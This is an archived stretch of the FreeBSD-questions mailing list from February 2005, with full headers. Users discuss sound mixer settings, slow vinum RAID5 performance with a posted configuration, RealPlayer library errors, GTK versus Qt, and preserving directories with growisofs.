February 8, 2005 07:44 pm, albi wrote: > >>Ean Kingston wrote: >> >>>I've been having problems getting sound to work on FreeBSD 5.3. It worked >>>find on 4.10 (before the upgrade) using the new sound system. >> > [quote of handbook] > >>you followed all of that ? (just to be sure) > > Yes I did follow all of that (three times now). > > >>and did you check the mixer-settings ? > > > but I didn't check the mixer settings. Software volume was set to 0. > > Thanks a lot. > I have a nice script for setting up mixer at startup if you want it. It is available here: http://lj.geeksoc.org/users/chris/17890.html Chris From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 03:21:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4721E16A4CE for ; Wed, 9 Feb 2005 03:21:56 +0000 (GMT) Received: from hub.org (hub.org [200.46.204.220]) by mx1.FreeBSD.org (Postfix) with ESMTP id EC95243D49 for ; Wed, 9 Feb 2005 03:21:55 +0000 (GMT) (envelope-from scrappy@hub.org) Received: from localhost (unknown [200.46.204.144]) by hub.org (Postfix) with ESMTP id 7863D12B13D for ; Tue, 8 Feb 2005 23:21:49 -0400 (AST) Received: from hub.org ([200.46.204.220]) by localhost (av.hub.org [200.46.204.144]) (amavisd-new, port 10024) with ESMTP id 18492-10 for ; Wed, 9 Feb 2005 03:21:49 +0000 (GMT) Received: from ganymede.hub.org (blk-224-186-245.eastlink.ca [24.224.186.245]) by hub.org (Postfix) with ESMTP id 9ECDB12B139 for ; Tue, 8 Feb 2005 23:21:48 -0400 (AST) Received: by ganymede.hub.org (Postfix, from userid 1000) id 2678C3B34D; Tue, 8 Feb 2005 23:21:54 -0400 (AST) Received: from localhost (localhost [127.0.0.1]) by ganymede.hub.org (Postfix) with ESMTP id 259023B228 for ; Tue, 8 Feb 2005 23:21:54 -0400 (AST) Date: Tue, 8 Feb 2005 23:21:54 -0400 (AST) From: "Marc G. Fournier" To: freebsd-questions@freebsd.org Message-ID: <20050208231208.B94338@ganymede.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: by amavisd-new at hub.org Subject: vinum in 4.x poor performer? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 03:21:56 -0000 I have a Dual-Xeon server with 4G of RAM, with its primary file system consisting of 4x73G SCSI drives running RAID5 using vinum ... the operating system is currently FreeBSD 4.10-STABLE #1: Fri Oct 22 15:06:55 ADT 2004 ... swap usage is 0% (6149) ... and it performs worse then any of my other servers, and I have less running on it then the other servers ... I also have HTT disabled on this server ... and softupdates enabled on the file system ... That said ... am I hitting limits of software raid or is there something I should be looking at as far as performance is concerned? Maybe something I have misconfigured? ---- Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 03:26:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5F0A316A4CE for ; Wed, 9 Feb 2005 03:26:21 +0000 (GMT) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.FreeBSD.org (Postfix) with ESMTP id E9C8C43D53 for ; Wed, 9 Feb 2005 03:26:19 +0000 (GMT) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.12.11/8.12.11) with ESMTP id j193QCVC037877 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Feb 2005 10:26:12 +0700 (ICT) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.13.1/8.12.11) id j193QBM5098135; Wed, 9 Feb 2005 10:26:11 +0700 (ICT) Date: Wed, 9 Feb 2005 10:26:11 +0700 (ICT) Message-Id: <200502090326.j193QBM5098135@banyan.cs.ait.ac.th> From: Olivier Nicole To: scrappy@hub.org In-reply-to: <20050208231208.B94338@ganymede.hub.org> (scrappy@hub.org) References: <20050208231208.B94338@ganymede.hub.org> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) cc: freebsd-questions@freebsd.org Subject: Re: vinum in 4.x poor performer? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 03:26:21 -0000 > and it performs worse then any of > my other servers, and I have less running on it then the other servers ... What are you other servers? What RAID system/level? Of course a software RAID5 is slower than a plain file system on a disk. Olivier From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 03:33:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4F3F816A4CE for ; Wed, 9 Feb 2005 03:33:06 +0000 (GMT) Received: from fuse1.fusemail.net (smtp.fusemail.net [69.31.1.141]) by mx1.FreeBSD.org (Postfix) with ESMTP id E631B43D39 for ; Wed, 9 Feb 2005 03:33:05 +0000 (GMT) (envelope-from brianjohn@fusemail.com) Received: from fusemail.com by fuse1.fusemail.net with asmtp (FuseMail extSMTP) id 1Cyib0-00052s-CY; Tue, 08 Feb 2005 21:32:54 -0600 Message-ID: <42098485.2080404@fusemail.com> Date: Tue, 08 Feb 2005 21:33:25 -0600 From: Brian John User-Agent: Mozilla Thunderbird 1.0 (X11/20050203) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Loren M. Lang" References: <4205CA2F.9080107@fusemail.com> <20050207114741.GC8619@alzatex.com> <42084226.2060004@fusemail.com> <20050208195025.GI8619@alzatex.com> In-Reply-To: <20050208195025.GI8619@alzatex.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: problem with realplayer X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 03:33:06 -0000 Loren M. Lang wrote: >On Mon, Feb 07, 2005 at 10:37:58PM -0600, Brian John wrote: > > >>Loren M. Lang wrote: >> >> >> >>>On Sun, Feb 06, 2005 at 01:41:35AM -0600, Brian John wrote: >>> >>> >>> >>> >>>>Hello, whenever I try to run realplayer I get the following: >>>>$ realplay >>>> >>>>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>>>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >>>>Failed to load pixbuf file: >>>>/usr/local/lib/RealPlayer/share/realplay/icon.png: Couldn't recognize >>>>the image file format for file >>>>'/usr/local/lib/RealPlayer/share/realplay/icon.png' >>>> >>>> >>>> >>>> >>>Install graphics/linux-gdk-pixbuf from ports. >>> >>> >>> >>> >>> >>>>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>>>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >>>> >>>> >>>> > >It looks as if maybe some autogenerated file didn't get generated. Try >reinstalling realplayer and gdk-pixbuf. portupgrade -f will do that. >Also, did you say whether your using realplayer from ports or the >original package it comes in. > >I had this problem before, I think it might of been a problem with >linux_base being too old. It was only rh 7 and upgrading to rh 8 or 9 >fixed it. Personally, I recommend just using linux_base-rh-9 for the >best compatibility for linux binaries. > > > > >>>>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>>>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >>>> >>>>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>>>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >>>> >>>> >>>> > > > >>>>Thanks >>>> >>>>/Brian >>>>_______________________________________________ >>>>freebsd-questions@freebsd.org mailing list >>>>http://lists.freebsd.org/mailman/listinfo/freebsd-questions >>>>To unsubscribe, send any mail to >>>>"freebsd-questions-unsubscribe@freebsd.org" >>>> >>>> >>>> >>>> >>> >>> >>> >>It looks like it is already installed. This is what it says when I try >>to install it: >>=> Attempting to fetch from >>http://fedora.quicknet.nl/fedora/fedora/2/i386/RPMS.updates/. >>gdk-pixbuf-0.22.0-11.3.5.i386.rpm 100% of 222 kB 52 kBps >>===> Extracting for linux-gdk-pixbuf-0.22.0.11.3.5_1 >>=> Checksum OK for rpm/gdk-pixbuf-0.22.0-11.3.5.i386.rpm. >>===> Patching for linux-gdk-pixbuf-0.22.0.11.3.5_1 >>===> linux-gdk-pixbuf-0.22.0.11.3.5_1 depends on executable: rpm - found >>===> Configuring for linux-gdk-pixbuf-0.22.0.11.3.5_1 >>===> Installing for linux-gdk-pixbuf-0.22.0.11.3.5_1 >>===> linux-gdk-pixbuf-0.22.0.11.3.5_1 depends on file: >>/compat/linux/etc/redhat-release - found >>===> Generating temporary packing list >>===> Checking if graphics/linux-gdk-pixbuf already installed >>gdk-pixbuf-0.22.0-11.3.5.i386.rpm >> >>Any other clue what might have caused this? >> >>Thanks for the help >> >>/Brian >> >> > > > I already tried uninstalling realplayer and gdk-pixbuf using make deinstall and make reinstall in those ports. I installed realplayer from ports. How can I install linux-base-rh-9? I would like to try that. thanks /Brian From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 03:34:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AD2BD16A4CE for ; Wed, 9 Feb 2005 03:34:31 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.192]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4BE5B43D45 for ; Wed, 9 Feb 2005 03:34:31 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so1032669rne for ; Tue, 08 Feb 2005 19:34:31 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=LdRACbrZIwVteT++8eDXDShQqqs2KNpyeQ8WWloVQMqLAiKch62ajJBPqLVhVLsRqQOz5/YQIW6OcYL1l9RUj1AD2XEADSQ+6pPpgYMWspL/0HbhlEHLMV8rclCDHfLuGjnEMviGON/25zW5IWMG4uP4XMSf3C2K4CNd9NxuHHY= Received: by 10.38.59.46 with SMTP id h46mr235768rna; Tue, 08 Feb 2005 19:34:29 -0800 (PST) Received: by 10.38.74.23 with HTTP; Tue, 8 Feb 2005 19:34:28 -0800 (PST) Message-ID: Date: Wed, 9 Feb 2005 04:34:28 +0100 From: Gert Cuykens To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: GTK vs QT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 03:34:31 -0000 I say gtk rules but dont ask me why :) Wich one do you like and why ? From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 03:39:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E9E6616A4CE for ; Wed, 9 Feb 2005 03:39:37 +0000 (GMT) Received: from codegurus.org (cpc2-stoc7-3-0-cust147.midd.cable.ntl.com [81.104.76.147]) by mx1.FreeBSD.org (Postfix) with ESMTP id 131CF43D2F for ; Wed, 9 Feb 2005 03:39:37 +0000 (GMT) (envelope-from mwalker@codegurus.org) Received: from codegurus.org (codegurus.org [192.168.0.1]) (authenticated bits=0) by codegurus.org (8.13.3/8.13.1) with ESMTP id j193d5cC012729 for ; Wed, 9 Feb 2005 03:39:09 GMT (envelope-from mwalker@codegurus.org) From: Mick Walker To: "freebsd-questions@freebsd.org" In-Reply-To: References: Date: Wed, 09 Feb 2005 03:39:05 +0000 Message-Id: <1107920345.41909.2.camel@codegurus.org> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: Re: GTK vs QT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 03:39:38 -0000 On Wed, 2005-02-09 at 04:34 +0100, Gert Cuykens wrote: > I say gtk rules but dont ask me why :) > Wich one do you like and why ? > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > Why would you make a statement like that without making points to back it up? I actually agree with you, but my reasoning is due to me being a predominately C programmer as opposed to a C++ programmer. But front end (user) wise, I have no preference. Mick Walker From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 03:46:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B286316A4CE for ; Wed, 9 Feb 2005 03:46:27 +0000 (GMT) Received: from blackwater.lemis.com (wantadilla.lemis.com [192.109.197.135]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1B8EB43D39 for ; Wed, 9 Feb 2005 03:46:26 +0000 (GMT) (envelope-from grog@lemis.com) Received: by blackwater.lemis.com (Postfix, from userid 1004) id 317F48565B; Wed, 9 Feb 2005 14:16:24 +1030 (CST) Date: Wed, 9 Feb 2005 14:16:24 +1030 From: Greg 'groggy' Lehey To: "Marc G. Fournier" Message-ID: <20050209034624.GN28715@wantadilla.lemis.com> References: <20050208231208.B94338@ganymede.hub.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="rwbb4r/vLufKlfJs" Content-Disposition: inline In-Reply-To: <20050208231208.B94338@ganymede.hub.org> User-Agent: Mutt/1.4.2.1i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 9A1B 8202 BCCE B846 F92F 09AC 22E6 F290 507A 4223 cc: freebsd-questions@freebsd.org Subject: Re: vinum in 4.x poor performer? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 03:46:27 -0000 --rwbb4r/vLufKlfJs Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Tuesday, 8 February 2005 at 23:21:54 -0400, Marc G. Fournier wrote: > > I have a Dual-Xeon server with 4G of RAM, with its primary file system > consisting of 4x73G SCSI drives running RAID5 using vinum ... the > operating system is currently FreeBSD 4.10-STABLE #1: Fri Oct 22 15:06:55 > ADT 2004 ... swap usage is 0% (6149) ... and it performs worse then any of > my other servers, and I have less running on it then the other servers ... > > I also have HTT disabled on this server ... and softupdates enabled on the > file system ... > > That said ... am I hitting limits of software raid or is there something I > should be looking at as far as performance is concerned? Maybe something > I have misconfigured? Based on what you've said, it's impossible to tell. Details would be handy. Greg -- When replying to this message, please copy the original recipients. If you don't, I may ignore the reply or reply to the original recipients. For more information, see http://www.lemis.com/questions.html See complete headers for address and phone numbers. --rwbb4r/vLufKlfJs Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (FreeBSD) iD8DBQFCCYeQIubykFB6QiMRAo8cAKCto3O+XDMoKzFVxJn+/dLSknhpAACgkXoV VAo4maXurdV5dabfPIgtAi0= =QLPR -----END PGP SIGNATURE----- --rwbb4r/vLufKlfJs-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 03:46:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3B16716A4CE for ; Wed, 9 Feb 2005 03:46:56 +0000 (GMT) Received: from hub.org (hub.org [200.46.204.220]) by mx1.FreeBSD.org (Postfix) with ESMTP id D71F343D2F for ; Wed, 9 Feb 2005 03:46:55 +0000 (GMT) (envelope-from scrappy@hub.org) Received: from localhost (unknown [200.46.204.144]) by hub.org (Postfix) with ESMTP id 5E5FD12B13E; Tue, 8 Feb 2005 23:46:49 -0400 (AST) Received: from hub.org ([200.46.204.220]) by localhost (av.hub.org [200.46.204.144]) (amavisd-new, port 10024) with ESMTP id 21611-08; Wed, 9 Feb 2005 03:46:49 +0000 (GMT) Received: from ganymede.hub.org (blk-224-186-245.eastlink.ca [24.224.186.245]) by hub.org (Postfix) with ESMTP id BD2BE12B13D; Tue, 8 Feb 2005 23:46:48 -0400 (AST) Received: by ganymede.hub.org (Postfix, from userid 1000) id 6BBA633EB5; Tue, 8 Feb 2005 23:46:54 -0400 (AST) Received: from localhost (localhost [127.0.0.1]) by ganymede.hub.org (Postfix) with ESMTP id 6AE5D33C95; Tue, 8 Feb 2005 23:46:54 -0400 (AST) Date: Tue, 8 Feb 2005 23:46:54 -0400 (AST) From: "Marc G. Fournier" To: Olivier Nicole In-Reply-To: <200502090326.j193QBM5098135@banyan.cs.ait.ac.th> Message-ID: <20050208234602.M94338@ganymede.hub.org> References: <20050208231208.B94338@ganymede.hub.org> <200502090326.j193QBM5098135@banyan.cs.ait.ac.th> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: by amavisd-new at hub.org cc: freebsd-questions@freebsd.org Subject: Re: vinum in 4.x poor performer? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 03:46:56 -0000 On Wed, 9 Feb 2005, Olivier Nicole wrote: >> and it performs worse then any of >> my other servers, and I have less running on it then the other servers ... > > What are you other servers? What RAID system/level? All servers run RAID5 .. only one other is using vinum, the other 3 are using hardware RAID controllers ... ---- Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 03:50:46 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AD55716A4CE for ; Wed, 9 Feb 2005 03:50:46 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.204]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4674643D3F for ; Wed, 9 Feb 2005 03:50:46 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so1034240rne for ; Tue, 08 Feb 2005 19:50:45 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=n4gM6UnAUxA5gt8KCCIGglK5Rqn6iNiqaHqsVbx01JlMrOy40RBmrQBfKkcDBOUEwYPVsY2734VVqg5SemweMsZIrlEqhiXf7x4S7XJD8Id2YXCwIMwPZ61TqC1ONkchDg+mlQthJr/p51X5IFdLHeL861EeHO+qZe2gzhxOobE= Received: by 10.38.149.78 with SMTP id w78mr364599rnd; Tue, 08 Feb 2005 19:50:45 -0800 (PST) Received: by 10.38.74.23 with HTTP; Tue, 8 Feb 2005 19:50:45 -0800 (PST) Message-ID: Date: Wed, 9 Feb 2005 04:50:45 +0100 From: Gert Cuykens To: Mick Walker In-Reply-To: <1107920345.41909.2.camel@codegurus.org> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <1107920345.41909.2.camel@codegurus.org> cc: "freebsd-questions@freebsd.org" Subject: Re: GTK vs QT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 03:50:46 -0000 On Wed, 09 Feb 2005 03:39:05 +0000, Mick Walker wrote: > Why would you make a statement like that without making points to back > it up? because i dont have points except that qt can kiss my $$$ :) no i am just wondering what you guy's think thats all i lookt around on the internet a bit but that was old stuff about gtk1 and so. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 03:52:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 92AEC16A4CE for ; Wed, 9 Feb 2005 03:52:18 +0000 (GMT) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.FreeBSD.org (Postfix) with ESMTP id 34B2243D41 for ; Wed, 9 Feb 2005 03:52:17 +0000 (GMT) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.12.11/8.12.11) with ESMTP id j193qF5q038913 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Feb 2005 10:52:15 +0700 (ICT) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.13.1/8.12.11) id j193qFEq098451; Wed, 9 Feb 2005 10:52:15 +0700 (ICT) Date: Wed, 9 Feb 2005 10:52:15 +0700 (ICT) Message-Id: <200502090352.j193qFEq098451@banyan.cs.ait.ac.th> From: Olivier Nicole To: scrappy@hub.org In-reply-to: <20050208234602.M94338@ganymede.hub.org> (scrappy@hub.org) References: <20050208231208.B94338@ganymede.hub.org> <20050208234602.M94338@ganymede.hub.org> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) cc: freebsd-questions@freebsd.org Subject: Re: vinum in 4.x poor performer? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 03:52:18 -0000 > All servers run RAID5 .. only one other is using vinum, the other 3 are > using hardware RAID controllers ... Come on, of course a software solution will be slower than an hardware solution. What would you expect? :)) (Given it is same disk type/speed/controler...) Olivier From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 04:14:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5213216A4CE for ; Wed, 9 Feb 2005 04:14:08 +0000 (GMT) Received: from whoweb.com (whoweb.com [66.180.172.55]) by mx1.FreeBSD.org (Postfix) with ESMTP id D2AED43D49 for ; Wed, 9 Feb 2005 04:14:06 +0000 (GMT) (envelope-from mailist@whoweb.com) Received: from whoweb.com (localhost [127.0.0.1]) by whoweb.com (8.12.11/8.12.11) with ESMTP id j194FCUX042400 for ; Tue, 8 Feb 2005 23:15:12 -0500 (EST) Received: (from mailist@localhost) by whoweb.com (8.12.11/8.12.11/Submit) id j194FCZg042399 for freebsd-questions@freebsd.org; Tue, 8 Feb 2005 23:15:12 -0500 (EST) Date: Tue, 8 Feb 2005 23:15:12 -0500 (EST) From: Incoming Mail List Message-Id: <200502090415.j194FCZg042399@whoweb.com> To: freebsd-questions@freebsd.org Subject: mkisofs/growisofs directory structure X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 04:14:08 -0000 Is there a switch for mkisofs/growisofs that will preserve a directory structure when supplying full or partial path names? i.e. growisofs -Z /dev/cd0 -R /dir1/dir2/dir3/file1 /dir1/dir2/dir3/file2 The above example results in file1 and file2 at the root of the mount point when the DVD is mounted. I can only achieve a directory structure by specifying dir1 and dir2 as input to the command. Jon From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 04:15:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6A2BA16A4CE for ; Wed, 9 Feb 2005 04:15:40 +0000 (GMT) Received: from hub.org (hub.org [200.46.204.220]) by mx1.FreeBSD.org (Postfix) with ESMTP id 01E7B43D2D for ; Wed, 9 Feb 2005 04:15:40 +0000 (GMT) (envelope-from scrappy@hub.org) Received: from localhost (unknown [200.46.204.144]) by hub.org (Postfix) with ESMTP id A092F12B13E; Wed, 9 Feb 2005 00:15:38 -0400 (AST) Received: from hub.org ([200.46.204.220]) by localhost (av.hub.org [200.46.204.144]) (amavisd-new, port 10024) with ESMTP id 25844-01; Wed, 9 Feb 2005 04:15:38 +0000 (GMT) Received: from ganymede.hub.org (blk-224-186-245.eastlink.ca [24.224.186.245]) by hub.org (Postfix) with ESMTP id 02D1C12B128; Wed, 9 Feb 2005 00:15:38 -0400 (AST) Received: by ganymede.hub.org (Postfix, from userid 1000) id 8FADB36FE0; Wed, 9 Feb 2005 00:15:35 -0400 (AST) Received: from localhost (localhost [127.0.0.1]) by ganymede.hub.org (Postfix) with ESMTP id 8BC6F36F6E; Wed, 9 Feb 2005 00:15:35 -0400 (AST) Date: Wed, 9 Feb 2005 00:15:35 -0400 (AST) From: "Marc G. Fournier" To: freebsd-questions@freebsd.org, Olivier Nicole In-Reply-To: <20050208234602.M94338@ganymede.hub.org> Message-ID: <20050209001254.G94338@ganymede.hub.org> References: <20050208231208.B94338@ganymede.hub.org> <20050208234602.M94338@ganymede.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: by amavisd-new at hub.org Subject: Re: vinum in 4.x poor performer? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 04:15:40 -0000 Self-followup .. the server config is as follows ... did I do maybe mis-configure the array? # Vinum configuration of neptune.hub.org, saved at Wed Feb 9 00:13:52 2005 drive d0 device /dev/da1s1a drive d1 device /dev/da2s1a drive d2 device /dev/da3s1a drive d3 device /dev/da4s1a volume vm plex name vm.p0 org raid5 1024s vol vm sd name vm.p0.s0 drive d0 plex vm.p0 len 142314496s driveoffset 265s plexoffset 0s sd name vm.p0.s1 drive d1 plex vm.p0 len 142314496s driveoffset 265s plexoffset 1024s sd name vm.p0.s2 drive d2 plex vm.p0 len 142314496s driveoffset 265s plexoffset 2048s sd name vm.p0.s3 drive d3 plex vm.p0 len 142314496s driveoffset 265s plexoffset 3072s bassed on an initial config file that looks like: neptune# cat /root/raid5 drive d0 device /dev/da1s1a drive d1 device /dev/da2s1a drive d2 device /dev/da3s1a drive d3 device /dev/da4s1a volume vm plex org raid5 512k sd length 0 drive d0 sd length 0 drive d1 sd length 0 drive d2 sd length 0 drive d3 On Tue, 8 Feb 2005, Marc G. Fournier wrote: > > I have a Dual-Xeon server with 4G of RAM, with its primary file system > consisting of 4x73G SCSI drives running RAID5 using vinum ... the operating > system is currently FreeBSD 4.10-STABLE #1: Fri Oct 22 15:06:55 ADT 2004 ... > swap usage is 0% (6149) ... and it performs worse then any of my other > servers, and I have less running on it then the other servers ... > > I also have HTT disabled on this server ... and softupdates enabled on the > file system ... > > That said ... am I hitting limits of software raid or is there something I > should be looking at as far as performance is concerned? Maybe something I > have misconfigured? > > > > ---- > Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) > Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 > On Tue, 8 Feb 2005, Marc G. Fournier wrote: > On Wed, 9 Feb 2005, Olivier Nicole wrote: > >>> and it performs worse then any of >>> my other servers, and I have less running on it then the other servers ... >> >> What are you other servers? What RAID system/level? > > All servers run RAID5 .. only one other is using vinum, the other 3 are using > hardware RAID controllers ... > > ---- > Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) > Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 > ---- Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 04:25:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 92E6F16A4CE; Wed, 9 Feb 2005 04:25:45 +0000 (GMT) Received: from hub.org (hub.org [200.46.204.220]) by mx1.FreeBSD.org (Postfix) with ESMTP id 13F8A43D2D; Wed, 9 Feb 2005 